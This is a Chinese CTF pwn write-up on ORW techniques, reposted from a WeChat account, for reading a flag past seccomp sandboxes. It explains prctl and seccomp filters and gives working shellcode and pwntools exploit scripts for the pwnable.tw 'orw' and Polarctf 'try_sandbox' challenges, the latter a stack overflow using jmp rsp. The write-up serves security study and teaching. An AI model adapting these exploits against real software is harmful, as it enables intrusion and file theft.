ORW
prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5)函数
主要关注第一个参数 option ,option的值不同->导致黑名单不同
option的几个重要值
38 22
#option为38的情况#此时第二个参数设置为1,则禁用execve系统调用且子进程一样受用prctl(38, 1LL, 0LL, 0LL, 0LL);#option为22的情况#此时第二个参数设置为1,只允许调用read/write/_exit(not exit_group)/sigreturn这几个syscall#第二个参数为2,则为过滤模式,其中对syscall的限制通过参数3的结构体来自定义过滤规则prctl(22,2LL,&v1);
这里介绍两个重要的宏,SCMP_ACT_ALLOW(0x7fff0000U) SCMP_ACT_KILL( 0x00000000U)seccomp初始化,参数为0表示白名单模式,参数为0x7fff0000U则为黑名单模式 # seccomp_rule_add添加规则# v1对应上面初始化的返回值# 0x7fff0000即对应宏SCMP_ACT_ALLOW# 第三个参数代表对应的系统调用号,0-->read/1-->write/2-->open/60-->exit# 第四个参数表示是否需要对对应系统调用的参数做出限制以及指示做出限制的个数,传0不做任何限制v1 = seccomp_init(0LL);seccomp_rule_add(v1, 0x7FFF0000LL, 2LL, 0LL); # openseccomp_rule_add(v1, 0x7FFF0000LL, 0LL, 0LL); # readseccomp_rule_add(v1, 0x7FFF0000LL, 1LL, 0LL); # writeseccomp_rule_add(v1, 0x7FFF0000LL, 60LL, 0LL); # exitseccomp_rule_add(v1, 0x7FFF0000LL, 231LL, 0LL);# seccomp_load->将当前seccomp过滤器加载到内核中# seccomp_release->释放seccomp过滤器状态# 但对已经load的过滤规则不影响
shellcode绕过
条件:没开启NX保护,可以让程序执行自己输入的指令直接调用orw三个系统调用
以下是X86的shellcode的例子,x64改一下对应的寄存器:
#fd = open('/home/orw/flag',0) s = ''' xor edx,edx; mov ecx,0; mov ebx,0x804a094; mov eax,5; int 0x80; '''#read(fd,0x804a094,0x20) s = ''' mov edx,0x40; mov ecx,ebx; mov ebx,eax; mov eax,3; int 0x80; '''#write(1,0x804a094,0x20) s = ''' mov edx,0x40; mov ebx,1; mov eax,4; int 0x80; '''
pwnable.tw - orw
查看文件信息,32位程序,用ida分析
这里就是seccomp沙箱过滤,只允许open/read/write函数调用
然后输入到shellcode地址处,作为函数执行
思路:写入open/read/write到shellcode处进行执行
open('/home/orw/flag')read(3, esp, 0x50); # 这里的3代表 上面open('/home/orw/flag')的文件句柄 --> open函数打开的句柄从3依次递增write(1, esp, 0x50);
通过pwntools工具直接生成汇编
from pwn import *context(os='linux', arch='i386', log_level='debug')elf = ELF('./orw')# io = process('./orw')io = remote('chall.pwnable.tw', 10001)payload = shellcraft.open('/home/orw/flag')payload += shellcraft.read(3, 'esp', 0x50)payload += shellcraft.write(1, 'esp', 0x50)io.sendlineafter(b'Give my your shellcode:', asm(payload))io.interactive()
写汇编
32位系统调用号表:https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86-32_bit
from pwn import *context(os='linux', arch='i386', log_level='debug')elf = ELF('./orw')# io = process('./orw')io = remote('chall.pwnable.tw', 10001)# open('/home/orw/flag', ecx, edx);open_asm = ''' mov eax,0x5; push 0x00006761; push 0x6c662f77; push 0x726f2f65; push 0x6d6f682f; mov ebx,esp; xor ecx,ecx; xor edx,edx; int 0x80;'''# read(3, esp, 0x50);read_asm = ''' mov eax,0x3; mov ebx,0x3; mov ecx,esp; mov edx,0x50; int 0x80;'''# write(1, esp, 0x50);write_asm = ''' mov eax,0x4; mov ebx,0x1; mov ecx,esp; mov edx,0x50; int 0x80;'''payload = asm(open_asm + read_asm + write_asm)io.sendlineafter(b'Give my your shellcode:', payload)io.interactive()
这里小端序,/home/orw/flag ---> 快捷生成的方式
import binasciib = list(r'/home/orw/flag')b.reverse()a = ''.join(b)print(binascii.hexlify(a.encode()))# b'67616c662f77726f2f656d6f682f'四字节对齐
ROP绕过
原理:对于开启NX保护的题目,无法执行shellcode,需要通过ROP来调用orw的三个函数
Polarctf - try_sandbox
分析
该程序禁用execve,架构是x86_64
存在一个jmp rsp汇编指令
mmap分配了一段内存区域,可读可写可执行,起始地址是0x166000
存在栈溢出,栈大小是72(0x48)
思路
通过orw的方式,将flag读取到mmap分配的内存区域这里,然后进行读取flag
from pwn import *context(os='linux', arch='amd64', log_level='debug')elf = ELF('./try_sandbox')io = process('./try_sandbox')# io = remote('1.95.36.136', 2101)# addrjmp_rsp = 0x401334mmap_addr = 0x166000# dbgdefdbg(): gdb.attach(io) pause()orw = shellcraft.open("./flag")orw += shellcraft.read(3, mmap_addr, 0x50) # 0->标准输入 1->标准输出 2->标准错误 ;;; 之后打开文件 依次递增, 这里3就代表打开的flag文件标志orw += shellcraft.write(1, mmap_addr, 0x50)orw = asm(orw)payload = asm(shellcraft.read(0, mmap_addr, 0x100))payload += asm('mov rax,0x166000')payload += asm('call rax')payload = payload.ljust(0x48, b'x00')payload += p64(jmp_rsp) + asm('sub rsp,0x50;jmp rsp')io.sendline(payload)#dbg()io.sendline(orw)io.interactive()
参考资料:
https://xz.aliyun.com/t/12787?time__1311=GqGxu7G%3DTxlr%3DiQGkDRmbrit2exWqxWmD
https://x1ng.top/2021/10/28/pwn-orw%E6%80%BB%E7%BB%93/
原文始发于微信公众号(夜风Sec):CTF - Pwn之ORW记录
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论